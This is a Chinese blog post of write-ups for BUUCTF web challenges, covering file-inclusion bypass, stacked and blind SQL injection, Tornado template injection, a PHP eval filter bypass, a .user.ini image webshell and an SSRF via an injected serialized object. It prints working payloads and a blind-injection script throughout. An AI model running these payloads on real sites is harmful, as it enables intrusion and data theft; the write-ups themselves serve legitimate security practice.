0%

Buuctf刷题

疫情四起无法去校,同学说这个平台题目不错,故此刷一刷。(持续更新)

[HCTF 2018]WarmUp 1

打开题目发现一张滑稽,按F12提示源码,开始源码审计。

根据源码,大体就是需要绕过文件检查Checkfile函数,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "滑稽";
}
?>

首先检查非空,是不是字符串,最后经过CheckFile,CheckFile函数中发现有白名单过滤,首先第一个检查是否为字符串,第二传入的参数中是否能
通过白名单,然后处理一次传入的参数,将page拼接?之后再截断至?处获取内容检查是否符合白名单,之后先将page参数进行urldecode再按
之前的方法处理了一次字符串并检查。总感觉这个逻辑好啰嗦。

看好多人的WP说发现有个urlencode,自然也就想到了二次编码,第一次in_array直接判断page会无法通过,$_page处直接截断第一个?之前的文件查询
也就是只能查询合法的两种php文件,?后面被分析为请求,难以利用,第二次in_array处会先进行url解码之后再进行截断,那么我们就有了操作空间,
将?二次编码之后可以构造?file=hint.php%253fffffllllaaaagggg
这样提交参数的时候服务器解码一次加上赋值处理,变为?file=hint.php?ffffllllaaaagggg?即可绕过

我觉得这个有些多此一举了,直接构造?file=hint.php?../../../../../ffffllllaaaagggg利用文件包含就可以了,何必还二次编码…

ORZ。

[强网杯 2019]随便注 1

简单注入,1’的时候报错回显暴露了什么不得了的东西,那就顺水推舟

1’ order by 3#报错,两行

1’ union select 1,2#报错有正则,不区分大小写,感觉很难绕过。

可以试试堆叠注入,发现确实可行,先查出信息

1’ ;show databases;#查库

1’ ;show tables;#发现有两个表

flag在1919810931114514里面。
看了别人的wp,有人用的预处理。之前实验修复网站的时候稍微接触了预处理语句,在这里正好试试不是很常用的方法。
探明了表结构以后,可以直接列所有信息,用concat来查比较方便,对于关键字的过滤可以使用char或者16进制
于是尝试构造:1’;PREPARE kt from concat(char(115,101,108,101,99,116), ‘ * from `1919810931114514` ‘);EXECUTE kt;#
分割字符也可以,毕竟是预处理的语法:1’;PREPARE kt from concat(‘sel’,’ect’, ‘ * from `1919810931114514` ‘);EXECUTE kt;#
也可以,挺方便的。查了查word表好像是空的。

[护网杯 2018]easy_tornado 1

这题思路很明显啦,应该是file?filename=/??????&filehash=?????的格式访问文件,然后hints.php里面提示filehashmd5(cookie_secret+md5(filename))
可能需要爆破。但是后来想了想,谁知道他的cookie_secret有多长啊,万一他坑我呢。果不其然,爆破6位数都爆不出来,那爆破是没戏了。
换个思路,我们得拿到cookie_secret了,想起题目tornado,可能又是SSTI,试试发现了这个

发现msg可能可以进行SSTI,试了试2报错了,换了其他的运算(比如:*、%)回显ORZ,好像能用,但是我不是很熟悉这些命令,翻了翻tornado手册和wp,知道了handler指向RequestHandler以及所有ui_methods的参数均有settings。
也就是指令构造为

果然看到了cookie,写个脚本7

1
2
3
4
5
import hashlib
h = hashlib.md5()
print(hashlib.md5(b'/fllllllllllllag').hexdigest())#先打印出/fllllag的值
h.update(b'32dd4257-1a9e-4d75-81ec-10ad7ded3a8e3bf9f6cf685a6dd8defadabfb41a03a1')
print(h.hexdigest()) #4d6fb7f5c31401c099a57c981e722b66<

按照规则一起提交,则有如下

[SUCTF 2019]EasySQL 1

打开题目试试,1能回显,1’不行,很奇怪,测了一些发现好像不是字符型注入,带关键字语句(or and之类的)的好像也不能用,那就试试之前的堆叠注入
1;show databases;#查库

1;show tables;#爆表

预处理注入:1 ;PREPARE kt from concat(‘sel’,’ect’,’ * ‘);EXECUTE kt;#
好像不行,按经验来说应该是prepare、from或者大小写被过滤了,可是不影响啊…郁闷一会,看了看wp
才知道结构为$sql = “select “.$post[‘query’].”||flag from Flag”;
双引号也被过滤了,翻了很多wp,通用解法为堆叠注入sql_mode=PIPES_AS_CONCAT从而达成将||变为连接效果,这解法真第一次知道,涨姿势了orz。
因此标准解法为1;set sql_mode=PIPES_AS_CONCAT;select 1
还有由于* 未被过滤,注入*,1会出现select *,1||flag from Flag的结构,也就是select * from Flag直接爆出flag。

做好笔记,做好笔记,做好笔记。

[HCTF 2018]admin 1

打开题目,似曾相识,于是东看西看,在改密码的界面发现了项目源代码,抓包发现有session,我比较偏向于session伪造,于是翻翻项目查看能否伪造。

在config.py里发现了

1
2
3
4
5
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True

从逻辑上看ckj123可以在没有secret_key的情况下代替其参与加密,我们写个脚本尝试。
本来想从app里下手的,没找到,还得自己写。但是我flask老安不上去,没办法,只能去找个脚本了。如下


环境有误,先放放

看wp看到一种神奇的方法,之前听说黑客们很关注,就是不同地区的字符编码的问题,这个方法也是由字符编码变成。
app中有一个函数叫nodeprep.prepare,这个函数执行时会将ᴬ变为A,再执行一次的话会将A变为a,那我们在修改密码处有机会将admin的密码覆盖。(这种方法局限性很强,但是很强,做个笔记)

先注册一个ᴬdmin为名字的账号,然后登陆。会看见用户名变为Admin。

之后修改一次密码,再用修改后的密码登录admin账户

成功登入。

[RoarCTF 2019]Easy Calc 1

打开题目,发现一个接受命令的计算器。F12题目说有waf。

跟过去看,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

看到直接拼接的语句eval(‘echo ‘.$str.’;’);继续尝试,发现;号居然没被过滤掉,可以利用。
黑名单没说是什么,但是可以试,发现三角函数也不能用,怎么试都显示禁止,我很奇怪,看了眼wp,说这里存在php的一个解析漏洞。
php解析变量的时候,会将其变量名的空格去掉或者替换,当我们在变量面前加个空格的时候 num,php会找不到原来代码里定义的num变量。
因此利用点就是在变量之前加入空格,使其绕过代码的过滤,然后在解析变量的时候php自动将变量名面前的空格去掉,这样代码还能照常执行。
那我们试试,? num=scandir(chr(47))发现有反应,那继续输入? num=var_dump(scandir(chr(47)))。

读取就好,? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[强网杯 2019]高明的黑客 1

题目好鸮张。

说有备份,那我们就下载ww.tar.gz看看。

打开一堆乱七八糟的东西,点几个看明显还能看出php的痕迹。好像是一堆shell吧,但是这也太多了,肯定是让我们找真的。

我还不怎么会用py来批量扫描,正好练练。得先搭建本地环境。

之后,自己参照着函数写了一个,结果扫描速度慢的跟龟一样(5分钟才扫完A开头)…我放弃了
于是找了dalao写的脚本马住…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()

path = "D:/phpstudy_pro/WWW/src" # 文件夹目录
files = os.listdir(path) # 得到文件夹下的所有文件名称

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)

def read_file(file):
f = open(path + "/" + file); # 打开文件
iter_f = iter(f); # 创建迭代器
str = ""
for line in iter_f: # 遍历文件,一行行遍历,读取文本
str = str + line

# 获取一个页面内所有参数
start = 0
params = {}
while str.find("$_GET['", start) != -1:
pos2 = str.find("']", str.find("$_GET['", start) + 1)
var = str[str.find("$_GET['", start) + 7: pos2]
start = pos2 + 1

params[var] = 'echo("done!");'

# print(var)

start = 0
data = {}
while str.find("$_POST['", start) != -1:
pos2 = str.find("']", str.find("$_POST['", start) + 1)
var = str[str.find("$_POST['", start) + 8: pos2]
start = pos2 + 1

data[var] = 'echo("done!");'

# print(var)

# eval test
r = session.post('http://localhost/src/' + file, data=data, params=params)
if r.text.find('done!') != -1:
mutex.acquire()
print(file + " found!")
mutex.release()

# assert test
for i in params:
params[i] = params[i][:-1]

for i in data:
data[i] = data[i][:-1]

r = session.post('http://localhost/src/' + file, data=data, params=params)
if r.text.find('done!') != -1:
mutex.acquire()
print(file + " found!")
mutex.release()

# system test
for i in params:
params[i] = 'echo done!'

for i in data:
data[i] = 'echo done!'

r = session.post('http://localhost/src/' + file, data=data, params=params)
if r.text.find('done!') != -1:
mutex.acquire()
print(file + " found!")
mutex.release()

# print("====================")

for file in files: # 遍历文件夹
if not os.path.isdir(file): # 判断是否是文件夹,不是文件夹才打开
# read_file(file)
pool.submit(read_file, file)

dalao开了50个线程分成三种扫描,分别对eval assert system进行测试。
果然dalao对线程编程还是强,我是真的不怎么熟悉,扫的和龟速一样,学习学习。

打开那个文件,看一下代码

我的天这都是什么东西,粗看了一遍没有明显的利用点,可能要找一找是不是有被拼接的system assert之类的函数

得仔细看,我在一个地方找到了sYstEm($XnEGfa)这个样的东西

1
2
3
4
5
6
7
$XnEGfa = $_GET['Efa5BVG'] ?? ' ';
$aYunX = "sY";
$aYunX .= "stEmXnsTcx";
$aYunX = explode('Xn', $aYunX);
$kDxfM = new stdClass();
$kDxfM->gHht = $aYunX[0];
($kDxfM->gHht)($XnEGfa);

真的是看的脑阔疼,先试一试?Efa5BVG=cat /flag

嵌在里面了。

[SUCTF 2019]CheckIn 1

打开题目是文件上传,还给了源代码,去瞅瞅
给了个假flag,噫,找到关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}

看了看,过滤了php和htacess的后缀,文件不能为空,大小限制,文件内容不能出现<?,上传的必须是图片。
上传成功可以通过vardump提取信息。
那么问题来了,怎么绕?限制的很死,我试着用GIF发现好像也不行。
这个时候想到了一个方法,.user.ini的auto_prepend_file来隐藏一个后门,这在哪见过来着我不太记得了,好像是那时候打完比赛看了学长的wp才知道的,好像就是这题?…

我记得原理是auto_prepend_file可以在文件加载前先包含一些文件,我们可以利用这个逻辑来偷偷包含图片马,绕过exif_imagetype函数可以在文件前面加入#define width/height ,也就是定义长宽来为伪装成图片。
那么复现一遍操作。
首先准备两个东西

按顺序上传。然后尝试用命令去访问,/index.php?a=system(‘ls ../../../‘);

访问/index.php?a=system(‘cat ../../../flag’);

这题好像会自动刷新文件,过一段时间上传的东西会失效。

[CISCN2019 华北赛区 Day2 Web1]Hack World 1

题目非常直白,查flag表的flag列。

测试过滤了好多东西,但是过程中除了看到1和2的回显以外,还看到了一个奇怪的返回

看到这个第一感觉这题是bool盲注,那我们尝试

1//and//substr((select//flag//from/**/flag),1,1)>1

发现不成功,好像and被过滤了,我们可以用函数if()来作为判断

后面发现被过滤了,不能用/*/来绕过,于是看看别人的方法,发现()可以绕过空格过滤,可计算的结果都可以使用()包括起来。

那修改一下语句变为
if(ascii(substr((select(flag)from(flag)),1,1))>1,1,2)回显Hello, glzjin wants a girlfriend.
if(ascii(substr((select(flag)from(flag)),1,1))<1,1,2)回显Do you want to be my girlfriend?

写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os
import requests
import string
url = r"http://662dbc6d-d6cc-408b-bc6b-023dde101ce1.node3.buuoj.cn/index.php"
s = requests.session()
i = 1
j = 1
result = "Do you want to be my girlfriend?"
flag=""
while True:
payload = "if(ascii(substr((select(flag)from(flag)),"+str(i)+",1))>"+str(j)+",1,2)"
data = {'id': payload}
r = s.post(url, data=data).content
#print(bytes.decode(r))
#print(payload)
if result in bytes.decode(r): #判断
flag += chr(j)
i += 1
j = 1
print(flag)
j += 1
pass
print(flag)

这个代码没写结束,手动操作(偷懒)

[极客大挑战 2019]EasySQL 1

咦惹怎么那么多sql的题。

随便一输,直接爆出关键信息

我们根据他的回显简单猜测一下结构为select xx from xx where xxx=’xxx’,那我们输入在用户名处输入admin’ or ‘1试一试,密码随便输入,发现没有报错,但是显示了密码错误,那我们两边都输入admin’ or ‘1试试看,发现绕过成功。

倒是挺简单的。

[极客大挑战 2019]Havefun 1

不是,这题是想让我干嘛??

封面一只猫,挺好玩的UI,F12可以发现一些代码

我好奇的输入/?cat=dog,然后就没有然后了…(水题无误)

[网鼎杯 2018]Fakebook 1

盗版书可还行。

打开题目,随便翻翻,什么注册登录留言评论F12没发现什么,但是注册登录进去了,为什么没有登出?

没发现什么特别的,然后url找找泄露,结果还真的有。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

审计代码,感觉$ch处可能存在SSRF,如果我们输入的blog内容为非法反序列化内容的话,那就会将非法值传递给getBlogContents()函数,进而触发get()函数。

先构造一个反序列化,但是我突然发现,反序列化入口在哪?..直接输入反序列化内容会被waf掉…

到处点击,发现了一个地方

这里输入1正常显示,输入其他的之后会报错,把路径爆出来了。而且根据他的报错回显,他很可能是查询了再返回的结构。

于是尝试用注入回显,构造?no=2 or 1=1发现存在注入,继续尝试2 union select 1,2,3#发现有过滤,修改为2//union//select//1,2,3#,回显显示关于列数错误的信息,最终确定为2//union//select//1,2,3,4#

回显说反序列化失败,说明后台很可能查询了序列化的结构,根据源码以及注入回显,我们将3,4列分别尝试填入序列化对象,使其回显我们想要的结果,构造如下序列化。
O:8:”UserInfo”:3:{s:4:”name”;s:4:”test”;s:3:”age”;i:1;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}

再构造:2//union//select/**/1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:4:”test”;s:3:”age”;i:1;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’#

成功注入,但是没发现回显,F12才看到

解个码。

[网鼎杯 2018]Fakebook 1


-------------    本文结束  感谢您的阅读    -------------